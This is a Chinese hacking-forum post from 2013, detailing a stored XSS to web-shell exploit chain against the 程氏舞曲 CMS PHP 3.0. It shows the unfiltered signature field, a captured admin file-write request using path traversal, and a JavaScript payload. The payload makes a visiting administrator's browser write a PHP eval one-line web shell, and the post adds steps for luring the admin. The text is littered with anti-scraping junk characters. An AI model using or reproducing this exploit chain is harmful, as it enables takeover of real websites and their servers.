找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2569|回复: 0
打印 上一主题 下一主题

程氏舞曲CMSPHP3.0 储存型xss getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-6 18:09:37 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这个cms 以前 90有人发了个getshell,当时 是后台验证文件的问题
* |. O- }  u: c8 g8 Y  J官网已经修补了,所以重新下了源码
9 L4 M: q& |5 Q因为 后台登入 还需要认证码 所以 注入就没看了。
& _9 [( W) G8 \& c存在 xss! g: s1 N: U. E0 R1 b! Z
漏洞文件 user/member/skin_edit.php
( f, C/ q- G. \# g9 H* T本帖隐藏的内容<tr><td style="height:130px;"><span class="t"><i>*</i>签名:
' ?# z' `4 K* c2 a; B* K  0 h' i9 G  j+ P6 H/ d6 ^6 ^8 e
</span><textarea style="width:435px;height:120px;" id="content" name="CS_Qianm"><?php echo $cscms_qianm?>
4 A& f. ?$ D( ~/ q, B  
" f, k" D7 u6 j</textarea></td></tr>
; Q6 t( I# u6 a- o- _2 W6 g: B* ^  0 t+ u, o8 c5 ]$ T
             user/do.php . ?& ?4 [) \0 D

& W5 U0 C7 Z$ {8 u) [& Q- m, I8 O  ]: }1 E' Z
if($op=='zl'){ //资料. f4 b4 e" t8 `. Q( P- M
  ! b3 r2 f! C0 P# Y
             if(empty($CS_QQ)||empty($CS_Nichen)||empty($CS_City)||empty($CS_Email))
6 C; S! t/ o8 H& Z; X             exit(Msg_Error('抱歉,请把资料填写完整!','javascript:history.go(-1);'));# y4 u& l* a+ |/ l$ M
  
2 _$ f2 k3 _. ~             $sql="update ".Getdbname('user')." set CS_Nichen='".$CS_Nichen."',CS_Email='".$CS_Email."',
5 z4 N$ U0 x- e4 }8 l  9 h4 x( W7 L( Z1 A% u
             CS_Sex=".$CS_Sex.",CS_City='".$CS_City."',CS_QQ='".$CS_QQ."',CS_Qianm='".$CS_Qianm."'
9 d; ]. |* g5 m* j+ W! O7 Q             where CS_Name='".$cscms_name."'";
2 t3 f1 E' q. A* r3 k6 ^  
/ U+ ]- A  S  y, h0 Q, w. c             if($db->query($sql)){
% n# ~# s/ I" S( z8 ~- x) B  $ H: F; _) \3 k- O+ b( Q
              exit(Msg_Error('恭喜您,修改成功了!','javascript:history.go(-1);'));; [/ \- l# k5 \, |
  
9 ?$ }2 n- Y9 E1 I             }else{6 v4 @, I; P7 I( c, Y: S6 U1 ^" V
  
6 G2 w. t/ s1 b" S              exit(Msg_Error('抱歉,修改失败了!','javascript:history.go(-1);'));% q. u7 n$ Q$ s1 x* A4 H+ h7 E
  
6 c4 s0 x, p9 s7 l  B             }
/ [* K1 U4 k: v$ m! K* {( i3 N8 H6 t  x6 T& i% X7 T& e9 A. g, X7 n
. _: L4 e! p/ v
没有 过滤导致xss产生。9 h0 ]8 O  @: B$ e( X8 M5 D/ f
后台 看了下 很奇葩的是可以写任意格式文件。。
, b9 u4 M$ u* x8 Z抓包。。
9 |  ?* w: V5 V& Z9 @) x+ A: {) J( w
( {& `+ o3 X/ [9 o- C5 Q: h) x
本帖隐藏的内容POST /admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/ HTTP/1.1
. g( ^9 y" h) O0 K. H! u' O+ R4 t- M6 B  , B1 ?$ P8 h: k* ?) j# t* F0 ~
Accept: text/html, application/xhtml+xml, */*0 I9 f) a& V, k  q( C' }
  
+ X6 v( g9 T1 r' PReferer: http://127.0.0.1/admin/skins/ski ... l/&name=aaa.php- R' f! a. X; w5 S! {* O9 w
  
5 j" Q8 M5 H, H" S& o# gAccept-Language: zh-CN
$ ^. ~( ~' b, j. ^- ~+ R  2 @) X* W6 g' p4 M( d3 d
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
% `* h; l8 I: f; T) N" c  `  
. M) E( A. j$ z* R6 `3 B  ^Content-Type: application/x-www-form-urlencoded
3 Z' i, @+ l( [; x* j3 R  
# L1 V8 ~3 B0 N0 r9 \Accept-Encoding: gzip, deflate. J, v! v$ b$ U7 T& z; q
  ' Q# A1 k) P7 X  \% \# e
Host: 127.0.0.1
, O- \/ s& P2 g3 X7 p  * `% K5 H, p9 V# Y1 Z  C
Content-Length: 38
1 ?9 T1 Y% k$ b  - V# q7 A' j* W" \/ N* R' d
DNT: 1! P3 ^8 L3 m1 @3 S! v2 C# @$ I- U
  
# v5 M; g, W7 lConnection: Keep-Alive
4 M, I+ M) G; L; x8 `, Y6 G+ ~  * h, G' Q4 I* T+ n: o8 E  }0 N
Cache-Control: no-cache
, r7 r7 L% f4 n6 m0 Q0 I) M8 W3 y  . s' H) R, z& a1 t* n+ v$ J& f
Cookie: CS_AdminID=1; CS_AdminUserName=aaaa; CS_AdminPassWord=12949e83a49a0989aa46ab7e249ca34d; CS_Quanx=0_1%2C1_1%2C1_2%2C1_3%2C1_4%2C1_5%2C2_1%2C2_2%2C2_3%2C2_4%2C2_5%2C2_6%2C2_7%2C3_1%2C3_2%2C3_3%2C3_4%2C4_1%2C4_2%2C4_3%2C4_4%2C4_5%2C4_6%2C4_7%2C5_1%2C5_2%2C5_3%2C5_4%2C5_5%2C6_1%2C6_2%2C6_3%2C7_1%2C7_2%2C8_1%2C8_2%2C8_3%2C8_4; CS_Login=980bb0dfb9c7ba8ac7676b6f4eea2c4b; CS_AdminUP=1; cs_id=2; cs_name=test; PHPSESSID=36db4a484bdbd090ad9846e3b7f655949 ]: Z# @8 \) p  A, S; Q! H/ \
  " @3 S+ l, j5 i8 q* ~5 C: h

; I, o$ v) L7 w" z# W, Aname=aaa.php&content=%3Cs%3E%3Ca%25%3E
& t0 n4 q6 m3 F7 Q) [, n/ k
% d) g# m6 A: u2 P/ q" y1 S3 D
" A: b1 y3 b$ L6 A0 Y/ b6 V9 H9 D) g& V' ~. k( B: |( X
于是 构造js如下。; E8 p9 w7 X* o' v( ~2 K" {; I' o: k( _

9 y  m1 g3 ], H- r  K本帖隐藏的内容<script> " W4 p+ d3 A" e% E0 d
thisTHost = top.location.hostname;
. ]3 Q# f7 d8 C  6 p) n6 i3 c" W* a& a" W
thisTHost = "http://" + thisTHost + "/admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/";
" D' R' V& t4 P  8 R; C" W8 j* J' T
function PostSubmit(url, data, msg) { 0 l6 P/ ]% A& n4 M  k& L2 N; v
    var postUrl = url;
$ X. C' b" r; V3 z  
( }6 K; L, `; ^7 x% f+ w* I    var postData = data; * N8 I" _! G# h2 J3 R
    var msgData = msg;
) {1 {' V$ y( Q7 `& C    var ExportForm = document.createElement("FORM"); $ q3 H1 [. d. h# \% g
    document.body.appendChild(ExportForm);
  c. z$ p0 P$ ^. Z5 r    ExportForm.method = "POST"; ! y2 r+ S, e) x; b% u' E$ \) p
    var newElement = document.createElement("input"); 0 ^2 D8 a* n. x
    newElement.setAttribute("name", "name");
! l$ ^2 f6 A. s0 D7 L( W    newElement.setAttribute("type", "hidden"); ' w+ i; E$ x6 \$ c1 M
    var newElement2 = document.createElement("input"); ' {0 W- a0 s+ F. S. N9 `
    newElement2.setAttribute("name", "content"); ; o( ~7 ?* d" ~1 U  _- A0 K& B
    newElement2.setAttribute("type", "hidden");
1 X2 Q4 g# `8 w  q- o* k5 m* J1 Y! S    ExportForm.appendChild(newElement);
3 _# [7 _2 i& m    ExportForm.appendChild(newElement2); . T/ o: m: B" _5 X# e
    newElement.value = postData;
& B8 M  K' G" E  r# o    newElement2.value = msgData; * ~; t4 O3 C$ Z( i  Z' n
    ExportForm.action = postUrl; 0 z- R: A4 G% @$ Z& f
    ExportForm.submit(); 4 e9 p( c  m6 }# y
};
+ Q/ R& `0 ]8 R/ U5 b0 Q  
, t6 Y5 f' v8 o9 Z1 ^/ _PostSubmit(thisTHost,"roker.php","<?php @eval($_POST[123]);?>");0 j+ J3 E$ F/ ?) [
  
/ ?+ G% s! h0 Y* z$ I</script>
  H" N! Y# o' n- T: g. p% L0 u3 I0 C
' X0 a" ]% ^9 j5 N* S
; h$ j9 }" Z/ r* p$ ?
http://127.0.0.1/user/space.php?ac=edit&op=zl 修改签名处 插入
3 U$ R: @; f/ O, m6 s  }用你的账号给管理写个 私信 或者让他访问  你的主页http://127.0.0.1/home/?uid=2(uid自己改)) B3 b" X. v% G7 \' y
就会 在 skins\index\html\目录下生成 roker.php 一句话。
0 Q3 J3 m/ s& l8 n* s
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表